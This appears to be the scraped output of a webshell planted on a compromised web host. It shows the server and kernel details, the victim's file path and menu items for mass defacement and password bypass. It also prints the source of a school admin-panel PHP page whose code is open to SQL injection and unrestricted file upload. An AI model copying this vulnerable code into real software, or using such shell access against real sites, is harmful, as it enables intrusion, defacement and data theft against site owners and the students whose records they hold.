Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 17:28:05
Current Directory :
/
home
/
amvm
/
public_html
/
kollianwali
/
myadmin
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : /home/amvm/public_html/kollianwali/myadmin/add-tc.php
<?php include('header.php');?> <!-- =============================================== --> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> Add TC </h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li> <li><a href="#">Add TC</a></li> <li class="active">Add</li> </ol> </section> <!-- Main content --> <section class="content"> <div class="callout callout-info"> <h4>Tip!</h4> <p>This page will use to add new TC in the admin panel.</p> </div> <!-- Default box --> <?php if(isset($_POST['upload'])) { $title = $_POST['title']; $add_no = $_POST['add_no']; $ext= pathinfo($_FILES['files']['name'], PATHINFO_EXTENSION); $image_name = 'TC_'. date('h-i-s').'.'. $ext ; $target_dir = "tc/"; move_uploaded_file($_FILES['files']['tmp_name'],$target_dir .''. $image_name); $query = "INSERT INTO `tc` (`title`,`add_no`,`file`) VALUES ('$title','$add_no','$image_name')"; $query_1 = mysqli_query($mysql_con,$query); if($query_1 > 0) { header('location: tc.php'); } else{ echo "Something wrong, Please try again"; } } ?> <form method="Post" role="form" enctype="multipart/form-data" action=""> <div class="box-body"> <div class="form-group"> <label for="exampleInputEmail1">Student Name</label> <input type="text" name="title" class="form-control" id="exampleInputEmail1" placeholder="Enter Name"> </div> <div class="form-group"> <label for="exampleInputEmail1">Addmission No.</label> <input type="text" name="add_no" class="form-control" id="exampleInputEmail1" placeholder="Enter Name"> </div> <div class="form-group"> <label for="exampleInputFile">Choose File (Only PDF *)</label> <input type="file" name="files" id="exampleInputFile"> </div> </div> <!-- /.box-body --> <div class="box-footer"> <button type="submit" name="upload" value="submit" class="btn btn-primary">Submit</button> </div> </form> <!-- /.box --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <?php include("footer.php"); ?>
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18